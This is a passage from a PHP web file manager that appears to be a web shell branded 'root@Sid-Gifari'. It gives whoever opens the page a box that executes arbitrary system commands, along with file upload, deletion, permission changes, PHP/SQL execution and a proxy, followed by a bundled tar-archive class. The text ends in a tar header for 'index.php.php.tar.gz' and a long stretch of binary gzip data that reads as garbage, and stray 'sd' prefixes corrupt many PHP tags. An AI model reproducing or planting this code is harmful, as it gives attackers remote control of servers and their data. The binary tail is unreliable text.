                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   index.php.php.tar.gz                                                                                0000644                 00000063112 15243251040 0010355 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             w#q Zz}c}kW͡MM&$] 
@
lk-Zɣ-ɲ=#KuYGI#zx_/_Ef	HvKZrYUm2hl(2h%Zb>^`v~;]nty}.|w'ey3j
P7yogӱ[έ(\4xe+Ƿ凗#,F?Aw^{o/W<1|/>^/;=C߿k.-,>G;WcO"_0->>}~|P޷?0y7y_>;|q-xV[~:]|pS'O^GP^.i?,? OXۋO.|3˿,߬B9_y(GN7חo7Go-~gś87+/@-X @~"`ym˯@o+?[~W>ۀⓀ[Ͽk4iO_]C ?WzYRo,2}i7Y8%@g\~t
SeA>e	?[h凖-?y,y=h&p8ڿ[=zPPHj-?_{On;/~x}p|2@l~6Gm嗀OZIo.:*4j7L(͒y嗖_[~e6{?x?3hś B竻^2\zq+ݺ?8d^Z[5I,UC;}{G-@̄^k7=4J9-O_}=DdNP}
_,9pѹ[~s-{ǹ@{ךxo#Go_#/>&zg^~g'ruo5^~}FA '0W/<yoJ7}@.twN}/@j|uw񖿳.؋P~	<[~PBZ~u|A#)[# !,zkOˏ.޼By?@N_4^\K@zlft`׋O>z[|o{z<sǗ_,?zꋙo?x~cLG'×|ۅ-;,p7@zG_\~y O|o{%TԚw4_?ŧ=wK	lKq@嫉_[|W˽YK`ru ?A_}n'ίA|ko;A.{}^,'?!z \o輪k,~jzI͟>1Յ`=Ov+goߍ?y5w@Y|hZT닷r!9{ms/_`q0G7/?ŷ@}Qxq<dh_uoN/k{W?@WQa
ŏt7); @?6xZ(Uԧ>{275lŗC!W
<Z|_'}/7t}O>}{apz{K/_p)+>X|#r[~v%|}ԝF,p^N71>mN_-?Dz?[B}f:]~|o/M+?Gۭkᄽ Cїj",>/߂$.>5Wˏ:7k--Z~53;˷۳sʟŷYБ-| g˿
Ҩ~s)߇Q]oRo^@|Ƽ]~;mx7 qeq|"~W_~zg\H_gġ7xz/GZ~cm{zr>Wa $['J~}G
~sJO~0\~n'o{H
'@mM)޳ a/_Z|qn?&Xo_~/k_Mn%S__oߏ^[5hɷ!o .Y~y٪KP`"|:|>5s9q>HeOT1T#Pcq^z lTV` 3A!kZ>CSt̮S}.(awohP{yxDYGGs- iAg[` w@KmTv vw.\)R(>G{}Jw-=KXKrC>YlNޣ,wgnڴp٧g5Ē]`<}/-"Kۤ{"K[brDA#0f"Z `']"Ǝa('ILW}m/{_$+I "2NsME(oJR02nYtl3u|KۧP"L. x+G Qt,ElRd$sd6e8C%Rz#RbRUTleV4bĦ$ce2H<U	I %*ZǐEDGz.	8*z.a<% Y+`uEɢ& $Ey]ڀ	/4HQ#_$F.kX~:[C5yiO4~IP	%bZD*bP&G\DTQ;+RRkX@hq@lm{$wPC)]ĢȘ P2&e$iX.DIݳ
OEtuԋ=,z&^G^`Xr i@,j@YVkD`k&5m%
|9`9-P(-^&X) &peTRB~̺
El&]oS+-R9	`=phPa0F2ࡄ}2lmZ I%Ϗѿ1-(V>*E1kETOiw)#e{Xn=qu./ww$f*Jz|J#}z!Q#E/*i+UYLBH\" B1ӛqwSA%X@4@6_bE4
|{hkHC@iNKGJMP&$PLOFKczm,4,Y.֩'F	p.3Tk)(c
[҈\Wu?c}hm%%*.3Oue1X:!;a]9}{HXfzHWTЉ\ULSi֯=65"]Я!֨GFTwBPy0w)qax2"]Э!tKʈq2i@@%'L)_ԡ!uF5`@L.q]pFБJdf!5)C;	xRO`'7u#XH7~ŉBdf#PA)DjROQS7&qo9/WymΧì6NP(@E}m JPG*+O(ad%>~'AJXP߱XhR0ANxMC+	2R$äM dz
"XN{R#Ԙ;-$+]9IJn*o_έZZ x6cڧ{-ֆTuĲ05KX[C&+#6 ޕFfL (t	RͦP	Etőj;1V-/J#\'&%ʔD$@l!`}'̊^dQw)Z}~B9nh^	l  ~lڦ޶b77Sۂ1i#n2<ẃJSoT
fOy=Wε^ߑ`˜'6n \Hl>Rfǋ.kro}TJ6ǁrT(?ẏxF#P%<&8YV
H5A sy;P>-c!Trqp|t#"Hޱtk3,Lbd{zYTOl)ν\M%jW"ӋR7@wkc7E|ckEkxeޞRMѬ\ѝ	Dx."R@ڟȇ<7ǨIq%Gh>>֩n"IM>AJ}C0bK,WTV; z̼0=cd<p@"'{+n/amE%Pkx	U\Ɓ~h_b(2 =e#>F$Jhf{5$	h;x^+!ɨk mM xJF"aQg+
Mʘk)H"Ph D |:G5Q4}ʾOI* A4]c ﮡ4\["PWk"o 0KP6WV,p?J<=6.Sķ)/GK"/H2eAiffE#̯Z,'NI 08rY	ϞMy}%{`9&yKUAM2?x&E޳'A7K~>+TjGdz>:Ӱ7Ev3~ÑEGd[Dv#BKf9E(q@wj- 4,w	g#(N,m3mDј.om>D[Jsq3Rooi'mS4F{}#ʹt|ܵ$5Ln#|}TEWCˣt}VۦPI[+|c83>Bǎ' Sȉp+&*s#1zu*zat#(o
G~-wFUЗr&g#YI<qkeUJeMՏ<)q@+{)X6dc ʮLQhc<kxBY}HyJhЪ
.=v)uxTQ8͜S@1"lpruMTY]-~/>n۠&iBZkEH7Lҏ		z'[8.ԝ\WmKon̫hsMGRoQv,aH\J-g96WP+c1+DN.GB#S%ɀr	uDG̣1Tr,;ƨ?8dٻo%E؄'%Mu76y=@><{FAp׋jwGK	C.ȦKדAdEbY,D\l6N0zmWťmcED7/Fr;Q.	3V!@E?3kf+ړS
$) (Wa`["S6 (CfVnQaU$#""gR2'q>1nԇi ko*"!LGEP,P>GUiiӦ
#bD.By㑱,e%	-@(UY+z@cP<]T<]BRkQ#R:t-ubdnf}j7*z0LwCZ޺<LtuAfF:RjrD=!
jtǱw_x{kD(E@'Pi<Tk|T\ LHxa㑕zVO* CrDzL!/Z*www;]vn< ;$;0]heb%ڨ92Ծ0e}$Iuυzl{Br@a2.U<QY~EfGÄ$&;KEe<@[S":4Z| ğAmbq`Tˁ2A(֠*QNyEVRV^,:~^QIaL)eёD*a58W 5GLHR7q`DCh	4gRMV۪&"pya_[\_-=95&}%#BwV(j3
3dHRۙRA(%uWHz(ĥ\m	EVԹr>LԬK׍ZF3ӘHJF UIT(gKg}3~xlppJ[G]Q+GV(5}d:o]j~A3b-]^F%s򭯓(Jj}fJ3E 'Hڧahyi夻s0U9P2-/TSuw?]b!dځQDAs$<CS7f$Ҝxy6Q**Bdʴ𶈒|4~n}|tt881@\kƊh\YrwCDx#4Fxۧ[]j$va̤:"MϖĞ vԂ zB'sE5R$Hy|GmMס7m#ι`mN޼q8U3w_
O6_0gApeI4,XOIX\0Pe~gsWZ9m'8;lg4%5F)$zf/nr˚Gkd{jÒ4R*eNo9FNw*m}ֳLՉnLTvHɶ;87کFlbYwν\e4=q_yEL3mz]V{.^HX4IZmvfKq!w\+N<['<sE1ipU]VvE_$~2k#y/	vQЙN)Z6PsX%3R &[rʛ]H%mT'3oj烳3ﺊxHIdye	Ygt{(tsD_fhjs ݢ[E +=Ĵ3\C/wףVzn;GVbfϭN]qyc&&6򐚎<ևg&^z~rA6"J#WrqDݚyWtv^R/+3]*1F<\j~b#!VJ	O	^)sghyrZX,%yE-ltJa̵[KOsi9p8)fnY4.-:lKymڙ9lZspqj#4ds8xYu1]#y /ޤ]t.w0:8mqjF;	OhO9}3ԫƎaOGM=w{BlXBBߚקg>g'"tZ1q9ѩg514GMm[JyYo3n09+E uX=I8'5:Ldm>G7gRHvq,i~^W܄TPY0h-Ymc{ms$R%&5V(tR6c GWP>Bcښrr Ө0M(Nak{f] Xx΢aiK@
{kXiz
ԸVL<G|1W>z\"{42oZN3r2ƈQto(@O&&P^ًm:3.zrOМ#P'mNl8bm-WhmmZVAw$>	-dD67l5smyk.10x!

(%׶[c`xU4$*#W7믡BEVef,WhzD?8[^+d!p5kc|F׿%t%ɣ>"$V4{UXD(uO§X4m`s34J0Z?m8DoځQ3΂7^6<N58'RU
V}>|	 <FgrD7eM#Th|6.Sd(K(uBZH^RUf$g"2LbG 1YWi#sYiHse}go)~~_ُ?[F)ҹX/Bi+7>{YJ%֣cSPVsLuDl0hK^=꤭)2Y^Ov*=$Z\3#^øpĨN
:*dx)t8dJ~2P`jsCr	ew4 ڜhHxyȋh9 4[(0}~vPu/VۉѪCsL+1CsdmD¢
ZKokEI#f'ØfF?@i-dHaJ
!6M* eTJ˄EW(.׊`
]ؑЏugȱ
zhYm< rkSþ@e}!ߠhm
ImbT)L,d*sxT,.iISԂn(_WoѸymJ7uYq)GqO\yؠnf{z=V0tawBcj`,>lTQmƇPuh2#8T)N3n\()sPHf%D,L,&XO(=HmMhї
J5J.UBPcj3M(l{lhC+hyldyUkk:O0\E8PkPQ;Z!C
%PR<pu]İ-W)Gߞ1\	
NUw0Ru54p`#|[Z߸xJmWCܾ9
